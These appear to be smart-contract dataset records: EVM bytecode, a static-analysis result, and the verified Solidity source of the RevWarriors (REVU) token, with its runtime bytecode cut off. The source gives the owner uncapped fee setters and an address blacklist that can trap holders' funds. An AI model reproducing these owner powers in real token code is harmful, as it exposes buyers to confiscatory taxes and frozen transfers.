a150565b600060406044361015610fb057fe5b600160a060020a0384161515610fc557600080fd5b33600090815260026020526040902054831115610fe157600080fd5b33600090815260026020526040902054611001908463ffffffff6114ea16565b3360009081526002602052604080822092909255600160a060020a03861681522054611033908463ffffffff61137e16565b600160a060020a0385166000818152600260209081526040918290209390935580518681529051919233926000805160206116108339815191529281900390910190a35060019392505050565b662386f26fc1000081565b600b5460ff1681565b600080600084915081600160a060020a03166370a08231856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b15801561111057600080fd5b505af1158015611124573d6000803e3d6000fd5b505050506040513d602081101561113a57600080fd5b505195945050505050565b600a5481565b60075481565b60085481565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015460009081908190600160a060020a031633146111a057600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051859350600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561120457600080fd5b505af1158015611218573d6000803e3d6000fd5b505050506040513d602081101561122e57600080fd5b5051600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b1580156112a257600080fd5b505af11580156112b6573d6000803e3d6000fd5b505050506040513d60208110156112cc57600080fd5b5051949350505050565b60065481565b600154600160a060020a031633146112f357600080fd5b600160a060020a0381161561132b576001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b6b3077b58d5d3783919800000081565b60046020526000908152604090205460ff1681565b600082820283158061136f575082848281151561136c57fe5b04145b151561137757fe5b9392505050565b60008282018381101561137757fe5b600b5460009060ff16156113a057600080fd5b6007546b3077b58d5d37839198000000116113ba57600080fd5b6006546113cd908363ffffffff61137e16565b6006556007546113e3908363ffffffff61137e16565b6007556008546113f9908363ffffffff6114ea16565b600855600160a060020a038316600090815260026020526040902054611425908363ffffffff61137e16565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191927f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a7792918290030190a2604080518381529051600160a060020a038516916000916000805160206116108339815191529181900360200190a3506001610ae1565b600b5460009060ff16156114c157600080fd5b6006546114d4908363ffffffff61137e16565b6006556008546113f9908363ffffffff6114ea16565b6000828211156114f657fe5b50900390565b6000811161150957600080fd5b6005546006541061151957600080fd5b600160a060020a038216600090815260026020526040902054611542908263ffffffff61137e16565b600160a060020a03831660009081526002602052604090205560065461156e908263ffffffff61137e16565b60068190556005541161158957600b805460ff191660011790555b600160a060020a0382166000818152600260209081526040918290205482518581529182015281517fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d272929181900390910190a2604080518281529051600160a060020a038416916000916000805160206116108339815191529181900360200190a350505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058206c8d50ceeb486c63c29bd333c0ca57f45d24a9c684a5a804e990a175f57061ad0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}} | 10,680 |
0x19490165b420361563b809ca2a1c0e1811577259 | /**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
// SPDX-License-Identifier: Unlicensed
//https://t.me/RevolutionUnityWarriors
//https://revurevolution.com/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RevWarriors is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "RevWarriors";
string private constant _symbol = "REVU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 2;
uint256 private _taxFeeJeets = 9;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xC5fD751819d34b4f0D3A5CE78d34f4E662313911);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 2 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 5e7 * 10**9;
uint256 public _maxWalletSize = 15e7 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 5e7 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 3 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
timeJeets = hoursTime * 1 hours;
}
} | 0x60806040526004361061021e5760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e14610642578063e0f9f6a014610688578063ea1644d5146106a8578063f2fde38b146106c8578063fe72c3c1146106e857600080fd5b806395d89b41146105955780639ec350ed146105c25780639f131571146105e2578063a9059cbb14610602578063c55284901461062257600080fd5b80637c519ffb116100f25780637c519ffb146105165780637d1db4a51461052b578063881dce60146105415780638da5cb5b146105615780638f9a55c01461057f57600080fd5b806370a08231146104ab578063715018a6146104cb57806374010ece146104e0578063790ca4131461050057600080fd5b8063313ce567116101a65780634bf2c7c9116101755780634bf2c7c9146104205780635d098b38146104405780636b9cf534146104605780636d8aa8f8146104765780636fc3eaec1461049657600080fd5b8063313ce567146103a457806333251a0b146103c057806338eea22d146103e057806349bd5a5e1461040057600080fd5b806318160ddd116101ed57806318160ddd1461031157806323b872dd1461033657806327c8f8351461035657806328bb665a1461036c5780632fd689e31461038e57600080fd5b806306fdde031461022a578063095ea7b3146102705780630f3a325f146102a05780631694505e146102d957600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5060408051808201909152600b81526a52657657617272696f727360a81b60208201525b6040516102679190611f38565b60405180910390f35b34801561027c57600080fd5b5061029061028b366004611de3565b6106fe565b6040519015158152602001610267565b3480156102ac57600080fd5b506102906102bb366004611d2f565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102e557600080fd5b506019546102f9906001600160a01b031681565b6040516001600160a01b039091168152602001610267565b34801561031d57600080fd5b50678ac7230489e800005b604051908152602001610267565b34801561034257600080fd5b50610290610351366004611da2565b610715565b34801561036257600080fd5b506102f961dead81565b34801561037857600080fd5b5061038c610387366004611e0f565b61077e565b005b34801561039a57600080fd5b50610328601d5481565b3480156103b057600080fd5b5060405160098152602001610267565b3480156103cc57600080fd5b5061038c6103db366004611d2f565b61081d565b3480156103ec57600080fd5b5061038c6103fb366004611f16565b61088c565b34801561040c57600080fd5b50601a546102f9906001600160a01b031681565b34801561042c57600080fd5b5061038c61043b366004611efd565b6108c1565b34801561044c57600080fd5b5061038c61045b366004611d2f565b6108f0565b34801561046c57600080fd5b50610328601e5481565b34801561048257600080fd5b5061038c610491366004611edb565b61094a565b3480156104a257600080fd5b5061038c610992565b3480156104b757600080fd5b506103286104c6366004611d2f565b6109bc565b3480156104d757600080fd5b5061038c6109de565b3480156104ec57600080fd5b5061038c6104fb366004611efd565b610a52565b34801561050c57600080fd5b50610328600a5481565b34801561052257600080fd5b5061038c610a81565b34801561053757600080fd5b50610328601b5481565b34801561054d57600080fd5b5061038c61055c366004611efd565b610adb565b34801561056d57600080fd5b506000546001600160a01b03166102f9565b34801561058b57600080fd5b50610328601c5481565b3480156105a157600080fd5b506040805180820190915260048152635245565560e01b602082015261025a565b3480156105ce57600080fd5b5061038c6105dd366004611f16565b610b57565b3480156105ee57600080fd5b5061038c6105fd366004611edb565b610b8c565b34801561060e57600080fd5b5061029061061d366004611de3565b610bd4565b34801561062e57600080fd5b5061038c61063d366004611f16565b610be1565b34801561064e57600080fd5b5061032861065d366004611d69565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561069457600080fd5b5061038c6106a3366004611efd565b610c16565b3480156106b457600080fd5b5061038c6106c3366004611efd565b610c52565b3480156106d457600080fd5b5061038c6106e3366004611d2f565b610c90565b3480156106f457600080fd5b5061032860185481565b600061070b338484610d7a565b5060015b92915050565b6000610722848484610e9e565b610774843361076f8560405180606001604052806028815260200161213d602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906115c4565b610d7a565b5060019392505050565b6000546001600160a01b031633146107b15760405162461bcd60e51b81526004016107a890611f8d565b60405180910390fd5b60005b8151811015610819576001600960008484815181106107d5576107d56120fb565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610811816120ca565b9150506107b4565b5050565b6000546001600160a01b031633146108475760405162461bcd60e51b81526004016107a890611f8d565b6001600160a01b03811660009081526009602052604090205460ff1615610889576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108b65760405162461bcd60e51b81526004016107a890611f8d565b600d91909155600f55565b6000546001600160a01b031633146108eb5760405162461bcd60e51b81526004016107a890611f8d565b601355565b6017546001600160a01b0316336001600160a01b03161461091057600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109745760405162461bcd60e51b81526004016107a890611f8d565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109b257600080fd5b47610889816115fe565b6001600160a01b03811660009081526002602052604081205461070f90611638565b6000546001600160a01b03163314610a085760405162461bcd60e51b81526004016107a890611f8d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a7c5760405162461bcd60e51b81526004016107a890611f8d565b601b55565b6000546001600160a01b03163314610aab5760405162461bcd60e51b81526004016107a890611f8d565b601a54600160a01b900460ff1615610ac257600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610afb57600080fd5b610b04306109bc565b8111158015610b135750600081115b610b4e5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107a8565b610889816116bc565b6000546001600160a01b03163314610b815760405162461bcd60e51b81526004016107a890611f8d565b600b91909155600c55565b6000546001600160a01b03163314610bb65760405162461bcd60e51b81526004016107a890611f8d565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061070b338484610e9e565b6000546001600160a01b03163314610c0b5760405162461bcd60e51b81526004016107a890611f8d565b600e91909155601055565b6000546001600160a01b03163314610c405760405162461bcd60e51b81526004016107a890611f8d565b610c4c81610e10612094565b60185550565b6000546001600160a01b03163314610c7c5760405162461bcd60e51b81526004016107a890611f8d565b601c54811015610c8b57600080fd5b601c55565b6000546001600160a01b03163314610cba5760405162461bcd60e51b81526004016107a890611f8d565b6001600160a01b038116610d1f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107a8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ddc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107a8565b6001600160a01b038216610e3d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107a8565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f025760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107a8565b6001600160a01b038216610f645760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107a8565b60008111610fc65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107a8565b6001600160a01b03821660009081526009602052604090205460ff1615610fff5760405162461bcd60e51b81526004016107a890611fc2565b6001600160a01b03831660009081526009602052604090205460ff16156110385760405162461bcd60e51b81526004016107a890611fc2565b3360009081526009602052604090205460ff16156110685760405162461bcd60e51b81526004016107a890611fc2565b6000546001600160a01b0384811691161480159061109457506000546001600160a01b03838116911614155b1561140c57601a54600160a01b900460ff166110f25760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107a8565b601a546001600160a01b03838116911614801561111d57506019546001600160a01b03848116911614155b156111cf576001600160a01b038216301480159061114457506001600160a01b0383163014155b801561115e57506017546001600160a01b03838116911614155b801561117857506017546001600160a01b03848116911614155b156111cf57601b548111156111cf5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107a8565b601a546001600160a01b038381169116148015906111fb57506017546001600160a01b03838116911614155b801561121057506001600160a01b0382163014155b801561122757506001600160a01b03821661dead14155b1561130657601c5481611239846109bc565b611243919061205a565b1061129c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107a8565b601a54600160b81b900460ff161561130657600a546112bc9060b461205a565b421161130657601e548111156113065760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107a8565b6000611311306109bc565b601d5490915081118080156113305750601a54600160a81b900460ff16155b801561134a5750601a546001600160a01b03868116911614155b801561135f5750601a54600160b01b900460ff165b801561138457506001600160a01b03851660009081526006602052604090205460ff16155b80156113a957506001600160a01b03841660009081526006602052604090205460ff16155b1561140957601354600090156113e4576113d960646113d36013548661184590919063ffffffff16565b906118c4565b90506113e481611906565b6113f66113f182856120b3565b6116bc565b47801561140657611406476115fe565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061144e57506001600160a01b03831660009081526006602052604090205460ff165b806114805750601a546001600160a01b038581169116148015906114805750601a546001600160a01b03848116911614155b1561148d575060006115b2565b601a546001600160a01b0385811691161480156114b857506019546001600160a01b03848116911614155b15611513576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a541415611513576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561153e57506019546001600160a01b03858116911614155b156115b2576001600160a01b0384166000908152600460205260409020541580159061158f57506018546001600160a01b038516600090815260046020526040902054429161158c9161205a565b10155b156115a557600b54601155600c546012556115b2565b600f546011556010546012555b6115be84848484611913565b50505050565b600081848411156115e85760405162461bcd60e51b81526004016107a89190611f38565b5060006115f584866120b3565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610819573d6000803e3d6000fd5b600060075482111561169f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107a8565b60006116a9611947565b90506116b583826118c4565b9392505050565b601a805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611704576117046120fb565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561175857600080fd5b505afa15801561176c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117909190611d4c565b816001815181106117a3576117a36120fb565b6001600160a01b0392831660209182029290920101526019546117c99130911684610d7a565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611802908590600090869030904290600401611fe9565b600060405180830381600087803b15801561181c57600080fd5b505af1158015611830573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b6000826118545750600061070f565b60006118608385612094565b90508261186d8583612072565b146116b55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107a8565b60006116b583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061196a565b6108893061dead83610e9e565b8061192057611920611998565b61192b8484846119dd565b806115be576115be601454601155601554601255601654601355565b6000806000611954611ad4565b909250905061196382826118c4565b9250505090565b6000818361198b5760405162461bcd60e51b81526004016107a89190611f38565b5060006115f58486612072565b6011541580156119a85750601254155b80156119b45750601354155b156119bb57565b6011805460145560128054601555601380546016556000928390559082905555565b6000806000806000806119ef87611b14565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a219087611b71565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a509086611bb3565b6001600160a01b038916600090815260026020526040902055611a7281611c12565b611a7c8483611c5c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ac191815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611aef82826118c4565b821015611b0b57505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611b318a601154601254611c80565b9250925092506000611b41611947565b90506000806000611b548e878787611ccf565b919e509c509a509598509396509194505050505091939550919395565b60006116b583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115c4565b600080611bc0838561205a565b9050838110156116b55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107a8565b600